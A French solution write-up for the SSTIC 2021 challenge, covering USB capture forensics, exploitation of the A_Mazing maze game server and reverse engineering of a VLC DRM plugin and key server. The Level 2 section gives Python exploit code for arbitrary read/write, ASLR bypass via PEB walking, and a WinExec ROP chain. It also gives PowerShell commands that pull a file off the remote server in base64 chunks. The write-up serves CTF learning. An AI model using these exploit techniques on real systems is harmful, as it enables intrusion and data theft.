Solution Challenge SSTIC 2021

Jean Bernard Beuque
20 Mai 2020

Sommaire

1. Préambule

L'objectif du challenge est de trouver une adresse email @challenge.sstic.org qui est cachée dans une vidéo. La vidéo est protégée par une « DRM ».

2. Level 1 : USB transfer

On a un fichier *usb_capture_CO.pcapng* qui contient la capture d'un transfert sur une clef USB.

On ouvre le fichier avec Wireshark. On observe des échanges entre le host et un device USB en 4.28.

Le device USB est un « Kingston Data Traveller 3.0 ».

On va chercher à reconstituer l'image de la clef USB. Pour cela on va filtrer les messages de transfert de bloc de données

On utilise les filtres [scsi_sbc.opcode == 0x28] pour les commandes de lecture de bloc (i.e. de la clef vers le host) et [scsi_sbc.opcode == 0x2A] pour les commandes d'écriture de bloc (i.e. du host vers la clef).

Pour chaque commande on a le champ LBA (Logical Block Address) qui donne la position du premier bloc dans l'image et le champ Len qui donne le nombre de bloc de 512 octets.

On écrit un programme *get_img* (disponible en annexe) pour reconstituer l'image du disque en écrivant les blocs de données capturées à leur position dans le fichier image.

On obtient un fichier KeyImg.bin de 30943995904 octets. (NB : C'est un fichier à trou (sparse file). Il n'occupe en fait que 8972 octets sur le disque).

```
$ du -s -k KeyIMG.bin
8972    KeyIMG.bin
```

```
$ fdisk -l KeyIMG.bin
Disk KeyIMG.bin: 28.8 GiB, 30943995904 bytes, 60437492 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x560405f2

Device     Boot Start     End  Sectors  Size Id Type
KeyIMG.bin1 *       63 60435647 60435585 28.8G  b W95 FAT32
```

On peut maintenant monter l'image dans le filesystem. On trouve à l'intérieur une archive challenge.7z

```
$ sudo losetup -f -P ./KeyIMG.bin
$ sudo mount /dev/loop0p1 /mnt

$ ls -latr /mnt
ls: cannot access '/mnt/.Spotlight-V100': Input/output error
ls: cannot access '/mnt/.fseventsd': Input/output error
total 500
d?????????  ? ?   ?      ?          ? .Spotlight-V100
d?????????  ? ?   ?      ?          ? .fseventsd
drwxr-xr-x  4 root root 16384 Jan  1  1970 .
-rwxr-xr-x  1 root root 65536 Apr  1 16:31 challenge.7z.007
-rwxr-xr-x  1 root root 65536 Apr  1 16:31 challenge.7z.001
-rwxr-xr-x  1 root root 65536 Apr  1 16:31 challenge.7z.006
-rwxr-xr-x  1 root root 65536 Apr  1 16:31 challenge.7z.005
-rwxr-xr-x  1 root root 65536 Apr  1 16:31 challenge.7z.003
-rwxr-xr-x  1 root root 65536 Apr  1 16:31 challenge.7z.004
-rwxr-xr-x  1 root root 65536 Apr  1 16:31 challenge.7z.002
-rwxr-xr-x  1 root root 20912 Apr  1 16:31 challenge.7z.008
drwxr-xr-x 27 root root  4096 Apr 22 06:53 ..
```

L’archive contient :

- Un fichier flag.jpg qui contient le flag du niveau.
- Un programme A_Mazing.exe avec les fichiers Readme.md et env.txt pour le niveau suivant.

3. Level 2 : A_Mazing

Le programme A_Mazing.exe est un jeu de labyrinthe. Comme indiqué dans le fichier Readme.md, une version de ce programme est disponible sur le serveur *challenge2021.sstic.org:4577.*

Il faut trouver et exploiter des vulnérabilités dans le programme A_Mazing.exe afin de récupérer des données sur le serveur *challenge2021.sstic.org.*

1. Analyse du programme A_Mazing

On utilise ghidra pour analyser le programme A_Mazing.

Format du maze buffer

```
Pseudo length: Max 128 bytes.

Maze_buffer:  (allocated : 21728=0x54e0 bytes)
MB[0]:                  {1 byte}     Height
MB[1]:                  {1 byte}     Width
MB[2]:                  {1 byte}     Maze Type
MB[3] :                 {128 bytes} Maze name
MB[0x83:131]            Pseudo of maze creator (128 bytes)
MB[ 259: 0x103]:        {8 bytes}: Ptr Maze data (maze type ==1)
MB[4100: 0x1004]:       {8 bytes}: Ptr Maze data (maze type ==2 or 3)
MB[0x100c: 4108]:       {1 byte} : Percent wall to be removed.
MB[4109]:               {1 byte}: Nb Rank entry (max value 128).
[               MB[4110]: {8 bytes}: Score
                MB[4118]: {128 bytes}: Pseudo name
] x Nb Rank entry (136 bytes)

====
Type 3: Trap positions
MB[259:0x103]: Nb of traps
[
                MB[260]: {8 bytes} Score trap
                MB[269]: {2 bytes} Trap location
                MB[272]: {4 bytes} Trap active flag (0x5E or 0)
] x Nb of traps (15 bytes)
```

Format des fichiers .maze

```
[Maze file]
pseudo Length :         1 byte
Pseudo :                N bytes
Maze type :             1 byte (1,2 or 3)
Maze Width :            1 byte
Maze Height :           1 byte
Maze matrix :           WxH bytes.
if (type==3) {
                Nb of traps :           1               byte
                {
                                Score trap:             {8 bytes}
                                Trap location:          {2 bytes}
                                Trap char (0x5E):       {1 bytes}
                } x Nb traps
}
```

Format des fichiers .rank

[Rank File]

Nb entry: 1 byte

{

	pseudo Length :	1 byte
	Pseudo :	N bytes
	Score :	8 bytes (LSB)

} x Nb entry

2. Vulnérabilité

Le bug qui est exploitable consiste à charger un fichier .rank à la place d'un fichier .maze.

```
Menu

1. Register
2. Create maze
3. Load maze
4. Play maze
5. Remove maze
6. View scoreboard
7. Upgrade
8. Exit
3
List of existing mazes
1 -> amaze1.maze
2 -> peek1A.maze
3 -> peek2.maze
Which maze do you want ? send its identifier or its name (w or wo extension).
 You can send -1 to come back to the main menu.
```

En effet quand on veut charger un labyrinthe on peut le sélectionner par son numéro ou son nom avec ou sans extension.

Si on entre amaze1.rank comme nom de labyrinthe, le programme va charger le fichier amaze1.rank et l'interpréter comme un fichier. maze !

Ce bug permet d'obtenir une lecture et écriture à une adresse arbitraire et également une fuite d'une adresse dans le heap (pour contourner l'ASLR) !

En effet en chargeant un fichier .rank à la place d'un fichier .maze, on peut avoir n'importe quelle valeur pour le champ maze type autre que les valeurs normales 1, 2 ou 3.

Une valeur de maze_type différente de 1,2 ou 3 n'est pas gérée de façon cohérente entre les fonctions READ_MAZEFILE_DATA and PRINT_MAZE. La fonction READ_MAZE interprète un maze_type différent de 1,2 ou 3 comme un type 3. La fonction PRINT_MAZE interprète un maze_type différent de 1,2 ou 3 comme un type 1.

Ainsi la fonction READ_MAZEFILE_DATA va charger le tableau des traps à l'offset 259 du maze buffer alors que la fonction PRINT_MAZE va interpréter le maze buffer à l'offset 259 comme un pointeur sur la matrice des donnés du labyrinthe.

De la même manière la fonction Upgrade_Maze peut être utilisée pour avoir une écriture à une adresse arbitraire.

Enfin en chargeant un fichier .rank à la place d'un fichier .maze, on peut avoir le pseudo du créateur du labyrinthe à 128 octets. Dans la structure Maze_Buffer, le 0 de fin de chaine de caractère du pseudo est alors supprimé car à l'offset 259 du maze buffer on a l'adresse de la matrice des données du labyrinthe. Ainsi quand la fonction *view_score_board* est appelée le pseudo du créateur du labyrinthe est affichée. Comme le 0 de fin de chaine est absent, on va obtenir la valeur du pointeur après les caractères du pseudo. On a ainsi une fuite mémoire vers un pointeur dans le heap ce qui va nous permette de contourner l'ASLR.

3. Exploitation de la vulnérabilité

Pour la fuite mémoire :

- On va enregistrer un pseudo de 127 caractères.
- On crée un labyrinthe de 5x5 de type 3 avec une trap de valeur 0x050501-4.
- On va ensuite jouer 128 fois pour remplir le fichier .rank. Les scores du fichier rank sont de 0x050501.

Quand on charge le fichier .rank comme labyrinthe, le 1er octet du fichier vaut 128, c'est le nombre d'entrée dans le fichier rank. Il va être interprété comme la longueur du pseudo du créateur du labyrinthe. Après les 128 caractère du pseudo, la valeur du score 0x050501 est interprétée comme le type du labyrinthe : 1 et les dimensions du labyrinthe : W=5, H=5.

On peut alors appeler viewscore board pour obtenir la valeur du pointeur vers les maze data. (On a alors un pointeur dans le heap).

```
1. Register
2. Create maze
3. Load maze
4. Play maze
5. Remove maze
6. View scoreboard
7. Upgrade
8. Exit
3
List of existing mazes
1 -> abba.maze
2 -> amaze1.maze
3 -> peek1A.maze
4 -> peek2.maze
Which maze do you want ? send its identifier or its name (w or wo extension).
 You can send -1 to come back to the main menu.
amaze1.rank
Menu

1. Register
2. Create maze
3. Load maze
4. Play maze
5. Remove maze
6. View scoreboard
7. Upgrade
8. Exit
6
Scoreboard for amaze1 (created by
⌂123456789_123456789_123456789_123456789_123456789_123456789_123456789_123456789_123456789_123456789_123456789_
123456789_1234567►L ╔á☻)
Rank.  Score  pseudo
1.    328961
123456789_123456789_123456789_123456789_123456789_123456789_123456789_123456789_123456789_123456789_123456789_12
3456789_1234567

 …
```

Pour les lectures/ecriture arbitraires, on crée le labyrinthe suivant :

```
def create_peek_maze_opt(cnx, addr):
```

```
	print("peek addr=%X"%addr)
	haddr = int(addr / 65536)
	lb = addr % 256
	mb = int(addr /256)%256

	if lb == 0 or lb == 0x20:
		print("Unsupported address")
		sys.exit(1)
		return(0)

	if mb == 0 or mb == 0x20:
		print("Unsupported address")
		sys.exit(1)
		return(0)


	w=5
	h=5

	size_traps = lb *11 +1
	nb_ent = math.ceil(size_traps/136)


	pseudo = b'A'*nb_ent + b'B' + w.to_bytes(1,byteorder='little') + h.to_bytes(1,byteorder='little') + b'_'*w*h +
lb.to_bytes(1,byteorder='little') + mb.to_bytes(1,byteorder='little')

	register_pseudo(cnx, pseudo)


	create_maze(cnx, "peek1", haddr-4)
	update_maze(cnx)
	load_maze(cnx,"peek1.maze")


	play_maze(cnx)

	pseudo = "C"*127
	register_pseudo(cnx, pseudo)
	for i in range(0,nb_ent):
		play_maze(cnx)
```

4. Adresse de la pile

Après avoir obtenu une adresse dans le heap, on cherche l'adresse de la pile où installer une ROP chaine. On a trouvé empiriquement avec windbg dans le heap à un offset fixe un pointeur vers la pile.

En fait il ne s'agit pas de la pile du thread principale mais de la pile d'un « worker thread ».

Dans la pile du worker thread, on trouve un pointer vers le TEB du thread. Le TEB du thread principal est situé 0x2000 bytes au-dessus du TEB du worker thread.

Avec le TEB du thread principal on obtient la stack_base et stack_limit de la pile du thread.

Enfin les adresses de retour dans la pile ne sont pas à une position fixe par rapport à la stack base.

On va scanner la pile à partir de la stack_base pour trouver les adresses de retour (en particulier l'adresse de retour de la fonction MENU) et trouver l'adresse où installer notre ROP chain.

5. Adresse des DLL system

Après avoir trouvé l'adresse d'un TEB, on peut accéder au PEB et aux adresses de base des DLL systèmes.

```
def find_base_addrs(TEB0):
        (a1,a2)=PEEK(TEB0+0x60)
        PEB = a1
        print("PEB=0x%X"%PEB)

        (a1,a2)=PEEK(PEB+0x18)
        LDR = a1
        print("LDR=0x%X"%LDR)

        (a1,a2)=PEEK(LDR+0x10)
        ldr_entry1 = a1                         # A__Mazing.exe

        (a1,a2)=PEEK(ldr_entry1)
        ldr_entry2 = a1                         # ntdll.dll
        (ntdll_base, a2) = PEEK(ldr_entry2 + 0x30)
        print("ntdll_base=0x%X"%ntdll_base)

        (a1,a2)=PEEK(ldr_entry2)
        ldr_entry3 = a1                         # Kernel32.dll
        (kernel32_base, a2) = PEEK(ldr_entry3 + 0x30)
        print("kernel32_base=0x%X"%kernel32_base)

        (a1,a2)=PEEK(ldr_entry3)
        ldr_entry4 = a1                         # Kernelbase.dll
        (kernel_base, a2) = PEEK(ldr_entry4 + 0x30)
        print("kernel_base=0x%X"%kernel_base)

        return(ntdll_base, kernel32_base, kernel_base)
```

On a besoin des adresses de base des DLL pour connaitre l'emplacement des ROP gadgets qu'on va utiliser.

6. La ROP chain

On construit une ROP pour appeler la fonction WinExec

```
def build_rop4(data_addr):


        ropchain=pack('<Q',poprcx) + pack('<Q',data_addr) # Pop 1st arg
        ropchain+=pack('<Q',poprdxr11) + pack('<Q',1) + b"a"*8 # Pop 2nd arg + dumb argument for r11


        ropchain+=pack('<Q',winexecF) #   call WinExec

        ropchain+=pack('<Q',addrsp28)
        ropchain+= b"P"*40
        ropchain+=pack('<Q',poprcx) + pack('<Q',10000) # Pop 1st arg
        ropchain+=pack('<Q',poprdxr11) + pack('<Q',1) + b"a"*8 # Pop 2nd arg + dumb argument for r11


        ropchain+=pack('<Q',SleepExF) # call Sleep

        ropchain+=pack('<Q',addrsp28)
        ropchain+= b"P"*40

        ropchain+=pack('<Q',poprcx) + pack('<Q',0) # Pop 1st arg
        ropchain+=pack('<Q',ExitProcessImpF) # call exit


        return(ropchain)
```

La ROP est installée dans la pile du thread principal à l'emplacement de l'adresse de retour de la fonction MENU. Elle va être déclenchée à la sortie de la fonction MENU quand on sélectionne 8.Exit.

7. Les commandes powershell

On va exécuter la commande powershell suivante avec l'appel à WinExec de la ROP chain.

cmd = b"powershell.exe ls -force -recurse"+ b'\x00'

On trouve un fichier DRM.zip dans le folder Desktop.

```
#    Directory: C:\Users\challenge\Desktop
#Mode                 LastWriteTime         Length Name
#----                 -------------         ------ ----
#-a----         4/1/2021   1:47 PM       14055432 DRM.zip
```

Pour transférer le fichier on utilise les commandes powershell suivantes :

```
#cmd = b"powershell $f=[System.IO.File]::OpenRead('C:\Users\challenge\Desktop\DRM.zip');
$bf=[System.Byte[]]::new(1024); $f.Seek(0,0); foreach ($p in (0..13727)) {$f.Read($bf,0,1024);
[convert]::ToBase64String($bf)}; $f.Close()"
#cmd = b"powershell $f=[System.IO.File]::OpenRead('C:\Users\challenge\Desktop\DRM.zip');
$bf=[System.Byte[]]::new(1024); $f.Seek(4000000,0); foreach ($p in (0..9199)) {$f.Read($bf,0,1024);
[convert]::ToBase64String($bf)}; $f.Close()"
#cmd = b"powershell $f=[System.IO.File]::OpenRead('C:\Users\challenge\Desktop\DRM.zip');
$bf=[System.Byte[]]::new(1024); $f.Seek(13000000,0); foreach ($p in (0..1032)) {$f.Read($bf,0,1024);
[convert]::ToBase64String($bf)}; $f.Close()"
```

(NB : Il n'a pas été possible de transférer la totalité du fichier en 1 seule fois car le programme A_mazing se termine au bout de 8 minutes).

On obtient chaque bloc de 1024 octets en base64.

On écrit un script pour décoder le base64 et concaténer les morceaux afin de reconstituer le fichier DRM.zip.

4. Level 3 : DRM client

Le fichier DRM.Zip contient :

- Un fichier Readme
- Un plugin VLC : libchall_plugin.so
- Un fichier DRM_server.tar.gz

1. plugin VLC

On copie le plugin VLC *libchall_plugin.so* dans le répertoire */usr/lib/x86_64-linux-gnu/vlc/plugins/access* et on exécute le programme *vlc-cache-gen* pour mettre à jour le fichier plugin.dat.

Le plugin chall apparait dans la liste des plugins.

```
$ vlc --list
…
  chall                    Chall media services
…


$ vlc -p chall --advanced --help-verbose
VLC media player 3.0.9.2 Vetinari (revision 3.0.9.2-0-gd4c1aefe4d)

 Chall media services (chall)
      --media-server <string>    media server URL
          Change the media server to retrived the media
      --key-server-addr <string> key server address
          Change the key server address
      --key-server-port <integer [1 .. 65535]>
                                 key server port
          Change the key server port
      --media-server-login <string>
                                 Login
          Login
      --media-server-pass <string>
                                 Password
          Password
      --media-server-permcheck, --no-media-server-permcheck

                                 (default enabled)
```

On lance la commande *vlc chall://* , vlc va alors lire depuis le media server une playlist de vidéo des rumps du SSTIC…

```
SSTIC06-Rump-Hack_Elysee-Nikoteen.mp4
SSTIC08-Rump-Du_temps_de_cerveau_humain_disponible-Nikoteen.mp4
SSTIC{8b3cd21b2bba44c680b9533f7f81c249}.mp4
```

NB : On obtient le flag du niveau L2 dans le nom du dernier fichier :
SSTIC{8b3cd21b2bba44c680b9533f7f81c249}.

En utilisant l'option verbose *vlc -vvv chall://* on comprend les actions effectuées par le plugin :

```
[00007f87b4003be0] chall stream debug: Log as guest
…
[00007f87b4004e80] http stream debug: resolving challenge2021.sstic.org ...
[00007f87b4004e80] http stream debug: outgoing request:
GET /api/guest.so HTTP/1.1
Host: challenge2021.sstic.org:8080
Accept: */*
Accept-Language: en_US
User-Agent: VLC/3.0.9.2 LibVLC/3.0.9.2
Range: bytes=0-
…

[00007f87b4004ce0] http stream debug: resolving challenge2021.sstic.org ...
[00007f87b4004ce0] http stream debug: outgoing request:
GET /files/index.json HTTP/1.1
Host: challenge2021.sstic.org:8080
Accept: */*
Accept-Language: en_US
User-Agent: VLC/3.0.9.2 LibVLC/3.0.9.2
Range: bytes=0-
…


00007f87bc000ca0] main input debug: `chall://' successfully opened
[00007f87b4003be0] chall stream debug: Add directory
chall:///admin/?id=8497728679412615671&remote_name=930e553d6a3920d05c99bc3111aaf288a94e7961b03e1
914ca5bcda32ba9408c.enc
[00007f87b4003be0] chall stream debug: Add directory
chall:///ambiance/?id=7498967280090894431&remote_name=4e40398697616f77509274494b08a687dd5cc1a7c7
a5720c75782ab9b3cf91af.enc
[00007f87b4003be0] chall stream debug: Add directory
chall:///prod/?id=1542138932024057600&remote_name=e1428828ed32e37beba57986db574aae48fde02a85c09
2ac0d358b39094b2328.enc
[00007f87b4003be0] chall stream debug: Add directory
chall:///rumps/?id=753627636153425706&remote_name=40f865fb77c3fd6a3eb9567b4ad52016095d152dc686e
35c3321a06f105bcaba.enc
…

[00007f87b00032c0] chall stream error: Permission denied:
chall:///admin/?id=8497728679412615671&remote_name=930e553d6a3920d05c99bc3111aaf288a94e7961b03e1914ca5
bcda32ba9408c.enc
[00007f87b00032c0] main stream error: Permission denied
[00007f87b00032c0] main stream error: Permission denied:
chall:///admin/?id=8497728679412615671&remote_name=930e553d6a3920d05c99bc3111aaf288a94e7961b03e1914ca5
bcda32ba9408c.enc

…
00007f87a4001870] chall stream error: Permission denied:
chall:///ambiance/?id=7498967280090894431&remote_name=4e40398697616f77509274494b08a687dd5cc1a7c7a5720c7
5782ab9b3cf91af.enc
[00007f87a4001870] main stream error: Permission denied
[00007f87a4001870] main stream error: Permission denied:
chall:///ambiance/?id=7498967280090894431&remote_name=4e40398697616f77509274494b08a687dd5cc1a7c7a5720c7
5782ab9b3cf91af.enc
…
[00007f87a4000990] chall stream error: Permission denied:
chall:///prod/?id=1542138932024057600&remote_name=e1428828ed32e37beba57986db574aae48fde02a85c092ac0d35
8b39094b2328.enc
[00007f87a4000990] main stream error: Permission denied
[00007f87a4000990] main stream error: Permission denied:
chall:///prod/?id=1542138932024057600&remote_name=e1428828ed32e37beba57986db574aae48fde02a85c092ac0d35
8b39094b2328.enc
…
```

```
00007f87bc000c20] main input debug:
`chall:///rumps/?id=7536276361534256706&remote_name=40f865fb77c3fd6a3eb9567b4ad52016095d152dc686e35c3321a06f105bcaba.enc' successfully opened
[00007f87a40049f0] chall stream debug: Add File chall:///rumps/SSTIC06-Rump-Hack_Elysee-Nikoteen.mp4?id=8053871312753130136&remote_name=15e17a4e89e609832b5a8d389a6cb62b1242cacce44501a2cf57d4d202178716.enc
[00007f87a40049f0] chall stream debug: Add File chall:///rumps/SSTIC08-Rump-Du_temps_de_cerveau_humain_disponible-Nikoteen.mp4?id=7444838242612745115&remote_name=63e5d570187fb2a1933d931ccd1e0b068ab0ff27a98ab7461ec30cb2d0510f5e.enc
[00007f87a40049f0] chall stream debug: Add File chall:///rumps/SSTIC{8b3cd21b2bba44c680b9533f7f81c249}.mp4?id=6358060479430109957&remote_name=3615b9049cabb9618aca05de639f89298e23c3d83fe82a24a0a488262148d299.enc

…

[00007f879c0016c0] http stream debug: resolving challenge2021.sstic.org ...
[00007f879c0016c0] http stream debug: outgoing request:
GET /files/15e17a4e89e609832b5a8d389a6cb62b1242cacce44501a2cf57d4d202178716.enc HTTP/1.1
Host: challenge2021.sstic.org:8080
Accept: */*
Accept-Language: en_US
User-Agent: VLC/3.0.9.2 LibVLC/3.0.9.2
Range: bytes=0-
```

Le plugin commence par télécharger du code depuis le media server : un fichier *guest.so*.

Il télécharge ensuite le fichier *index.json.* C'est le répertoire racine du media server :


```
[{"name": "930e553d6a3920d05c99bc3111aaf288a94e7961b03e1914ca5bcda32ba9408c.enc", "real_name": "admin", "type": "dir_index", "perms": "0000000000000000", "ident": "75edff360609c9f7"},
{"name": "4e40398697616f77509274494b08a687dd5cc1a7c7a5720c75782ab9b3cf91af.enc", "real_name": "ambiance", "type": "dir_index", "perms": "00000000cc90ebfe", "ident": "6811af029018505f"},
 {"name": "e1428828ed32e37beba57986db574aae48fde02a85c092ac0d358b39094b2328.enc", "real_name": "prod", "type": "dir_index", "perms": "0000000000001000", "ident": "d603c7e177f13c40"},
{"name": "40f865fb77c3fd6a3eb9567b4ad52016095d152dc686e35c3321a06f105bcaba.enc", "real_name": "rumps", "type": "dir_index", "perms": "ffffffffffffffff", "ident": "68963b6c026c3642"}]
```


Il comporte 4 sous répertoires : admin, ambiance, prod et rumps. Le champ « name » contient le nom du fichier chiffré *<hash>.enc*. Le champ ident contient un identifiant pour obtenir la clef correspondante sur le keyserver. Le champ perms contient le niveau de permission requis pour accéder au contenu.

Vlc ne peut pas ouvrir les répertoires : admin, ambiance et prod. On obtient : « chall stream error: Permission denied ».

En revanche, on a les droits pour lire le répertoire rumps.

2. Analyse du plugin libchall

On utilise ghidra pour analyser le plugin libchall.

Vlc_entry :

```
vlc_entry:

        --VLC_MODULE_CREATE
        0x107: VLC_MODULE_NAME : "chall"

        CONFIG_CATEGORY  : 7   :        CAT_PLAYLIST
        CONFIG_SUBCATEGORY : 0x2be  :           SUBCAT_PLAYLIST_SD
        VLC_MODULE_SHORTNAME : "Chall"
        VLC_MODULE_DESCRIPTION : "Chall media services"
        VLC_MODULE_CAPABILITY: "services_discovery"
        VLC_MODULE_SCORE (0x103): 0
        VLC_MODULE_CB_OPEN (0x104) : OpenSD
        VLC_MODULE_CB_CLOSE (0x105) : CloseSD
        VLC_MODULE_SHORTCUT : "chall_SD"


        --VLC_MODULE_CREATE
        CONFIG_CATEGORY  :  4  :        CAT_INPUT
        CONFIG_SUBCATEGORY : 0x192  :           SUBCAT_INPUT_ACCESS
        VLC_MODULE_CB_OPEN (0x104) : OpenAccess
        VLC_MODULE_CB_CLOSE (0x105) : CloseAccess
        VLC_MODULE_CAPABILITY(0x102): "access"
        VLC_MODULE_SCORE (0x103): 10
        VLC_MODULE_SHORTCUT : "chall"

        VLC_CONFIG_DESC
                "media server URL", "Change the media server to retrived the media
                        <string>: default : "http://challenge2021.sstic.org:8080"
                key server address
                        <string>: default :  "62.210.125.243"
                key server port
                        <int> : range: 1-65535, default : 1337
                Login
                        <string>: default :""
                Password
                        <password>: default :""

                media-server-permcheck
                        <boolean> default:1
                        "Config private" : hide from user

        --VLC_MODULE_CREATE
        VLC_MODULE_CAPABILITY: "services probe"
        VLC_MODULE_SCORE (0x103): 100
        VLC_MODULE_CB_OPEN (0x104) : vlc_sd_probe_Open
        VLC_MODULE_CB_CLOSE (0x105) : &DAT_10d52f
```

Le plugin VLC chall implémente 3 modules VLC : un playlist manager, un access module et un service probe module.

L'access module gére l'URL chall://

OpenAccess :

La callback OpenAccess() est appelée pour ouvrir une URL de type chall://

```
OpenAccess()
        -> remote_login()
                ->openstate()
                        ->openstateinternal()
                        ->get_current_permission()
```

```
                                ->checkhsign();
                                        -> send_recv.constprop.1()
                                                -> send_recv_.part.0.constprop.3()
        -> open_index()
                ->download_media.isra.1()
                        -> vlc_stream_NewURL(), vlc_stream_Read()
                        -> gcry_cipher_open(),  gcry_cipher_setkey(), gcry_cipher_setctr(), gcry_cipher_ctl() gcry_cipher_decrypt()
                ->parse_json_index()
        -> get_dir()

        -> get_file()
        if (__ptr + 1) != '\0') //directory
                Set fct ptr: AccessReadDir, access_vaDirectoryControlHelper
        else
                -> get_file_key()
                        -> hsign()
                        -> getkey(p1,p2,p3) // Return the key in *p3 (rdx)
                                -> send_recv.constprop.1()
                                        -> send_recv_.part.0.constprop.3()
                -> thr_hdl=vlc_clone(DownloadAccess) // start thread
                        Set fct ptr: AccessRead, AccessControl, AccessSeek
                return(thr_hdl)
```

Les media cryptés sont déchiffrés dans la fonction download_media.isra.1()

```
iVar2 = gcry_cipher_open(&uStack65608,7,6,0); // ALgo = AES, MODE_CTR, Flags=0
```

Ils sont chiffrés avec de l'AES 128 en mode CTR.

La clef de déchiffrement est obtenue par le key server :

La fonction hsign() utilise le fichier .so téléchargé pour génerer le message de requête de clef à envoyer à envoyer au serveur de clef. (Le fichier .so peut être soit guest.so ou bien auth.so si un login/password est donné en paramètre au plugin). Le message est ensuite envoyé sur le Keyserver par la fonction getKey.

3. Analyse du « DRM Server »

On utilise ghidra pour analyser le programme service du « DRM server ».

```
MAIN_0010b8bc():
        socket()
        bind(1337)
        listen()
        fd=accept()
        send(fd,"STIC")
while (1) {
 restart:
        recv(fd,buff, 17)
        if (buff[0] == 0) //cmdType ==0
                FUN_0010a85c(fd, buff);
        else {
                ret=Check_Time_Perms__Decrypt_0010a9f7(fd, buff, buff2) // cmdType = 1,2,3
                if (ret != -1) {
                        if (buff[0] == 3) //cmdType ==3
                                FUN_0010b1cd(fd, buff2);
                        else if (buff[0] == 1)
                                FUN_0010ab76(fd, buff2) //cmdType ==1
                        else if (buff[0] == 2)
                            FUN_0010ae02(fd, buff2) //cmdType ==2
                        else
                           send(fd,0xFE) // Error
                           goto restart
                }
        }
}
```

La fonction main du programme ouvre une socket en écoute sur le port 1337. Dès qu'un client se connecte la bannière 'STIC' est envoyé au client. Le programme reçoit alors 17 octets provenant du client. Le premier octet reçu correspond au type de commande.

```
//cmdType:0
FUN_0010a85c(fd,buff) ->
        tm = time(0)
        recv(fd, lbuff2, 4) // buff2 : timestamp...
        res=FUN_0010a0ff(p1=buff+1, p2=lbuff2, p3=buff3) :
                fds=open("/dev/sstic")
                ret1=ioctl(0xc0185300,1,2) //Allocate region
                ret2=ioctl(0xc0185300,1,3) //Allocate region
                ioctl(0xc0185302, ret1,0 ) //Assoc region
                ioctl(0xc0185302, ret2,1 ) //Assoc region
                maddri= mmap(0,0x1000,3,1,fds,ret1) // map stdin
                maddro = mmap(0,0x1000,1,1,fds,ret2) // map stdout
                maddri[0] = p1[0]
                maddri[1] = p1[1]
                maddri[2] = p2[0]
                ret=ioctl(0xc0185303, 1) //submit command
                p3[0]= maddro[0]
                p3[1]= maddro[1]
                return(ret)

        if (res!= 0 ) {
                printf("Unexpected error while decrypting")
                send(fd,0xff)
        } else {
                if (*lbuff2<tm) && (tm<*lbuff2 + 3600) {
                        printf("Check OK")
                        send(fd,1)
                } else {
                        printf("Check Expired")
```

```
                                send(fd,2)
                        }
                        send(fd,P3,0x10) //Decrypted msg
        }
==
 FUN_0010a08b(undefined4 param_1,undefined4 param_2) :
        local_28[0] = param_2;
        iVar1 = IOCTL_0014bba0(param_1,0xc0185303,local_28);          // ioctl : submit command
        perror("submit command")
```

La commande de type 0 est utilisée pour décrypter un message envoyé par le client. Le message est décrypté par le « device PCI ». Le résultat est retourné au client même si la clef a expiré.

```
Check_Time_Perms__Decrypt_0010a9f7(fd,buff,buff3) {
        tm = time(0)
        recv(fd, lbuff2, 4) // lbuff2 : timestamp...
        if (*lbuff2<tm) && (tm<*lbuff2 + 3600) {
                res=FUN_0010a0ff(p1=buff+1, p2=lbuff2, p3=buff3)
                if (res !=0) {
                        printf("Unexpected error while decrypting")
                        send(fd,0xff)
                        return(-1)
                }
                ret=check_permissions_0010a9ca(buff[0],buff3+8)
                if (ret ==0) {
                        printf("bad perms for this req type")
                        send(fd,0xfe)
                        return(-1)
                }
        }
        else {
                printf("getKey Expired")
                send(fd,4)
        }
```

La fonction Check_Time_Perms__Decrypt_0010a9f7 vérifie que la clef n'a pas expiré, décrypte l'entête de la commande (appel à FUN_0010a0ff) et que le niveau de permission requis pour la commande demandée est suffisant.

```
int check_permissions_0010a9ca(cmdType, perm_val) {
        s_Perms[] = {-1,-1, 0x100, 0x10};
        permLevel = s_Perms[cmdType]
        if perm_val <= permLevel
                return(1)
        else
                return(0)
}
```

check_permissions_0010a9ca vérifie si le niveau de permission est suffisant pour exécuter une commande. Pour les commandes 0 et 1 tous les niveaux de permissions sont acceptés. Pour la commande 2, il faut un niveau de permission inférieur à 0x100. Pour la commande 3, il faut un niveau de permission inférieur à 0x10.

```
=======
// cmdType= 1 :getKey
void FUN_0010ab76(p1, p2) {
        ret=FUN_0010a6f9(void) // get device debug state via IOCTL
        l34 = (*p2)>>63; // FileID MSB
        if ((ret !=1) || (l34==0)) {
                findFileID in local ID array.
                Check associate permissions : *(p2+1) > PermsArray[idx]
                Dev_GetKey_0010a62c(buff, fileID); // Call getkey ioctl...
                send(fd, 3)             // status code
                send(fd, buff,0x10) // Send key
        }
        StatusCode :
                3 : OK
                7 :trying to access prod key while device is in debug mode!
                6 : file not found
                5: bad perms
                0xff: unexpected error while decrypting
}
```

La commande de type 1 est utilisée pour obtenir une clef de déchiffrement d'un fichier du media server. Elle prend en entrée l'identifiant de la clef demandée.

Command 0 : Decrypt Data

Input :

Command_type : 0	1 byte	Decrypt Data
Data	16 bytes	
TimeStamp	4 bytes (LSBF)	

Ouput :

Status	1 byte	1 : Check OK 2 : Check Expired 0xFF : Unexpected error while decrypting
Decypt[TimeStamp](Data)	16 bytes	

Command 1 : Get Key

Input :

Command_type : 1	1 byte	GetKey
Enc(FileID + Perm)	16 bytes (LSBF)	
TimeStamp	4 bytes (LSBF)	

Ouput :

Status	1 byte	3 : OK 4 : get Key expired 5 : bad perms

		6 : File not found 7 : trying to access prod key while device is in debug mode! 0xFF : Unexpected error while decrypting 0xFE: bad perms for this req type

If (Status == OK) {
Key
}
	16 bytes (LSBF)	

4. Guest.so

Le fichier *guest.so* exporte 3 fonctions: getIdent, getPerms and useVM.

NB: Le fichier guest.so est téléchargé par le plugin VLC via l'URL *http://challenge2021.sstic.org:8080/api/guest.so*. Le contenu du fichier change toutes les 5 minutes.

La fonction getPerms() retourne la constante : 0xFFFFFFFFFFFFFFFF, il s'agit du niveau de permission associé à l'utilisateur guest. C'est le niveau le plus faible.

La fonction getIdent() retourne le Unix timestamp de la création du fichier guest.so : (i.e. le nombre de seconde écoulé depuis le 1er janvier 1970). Un fichier guest.so est utilisable pendant 1 heure pour obtenir les clefs du DRM serveur.

La fonction useVM() est une fonction de chiffrement, elle prend en entrée une valeur de 16 octets.

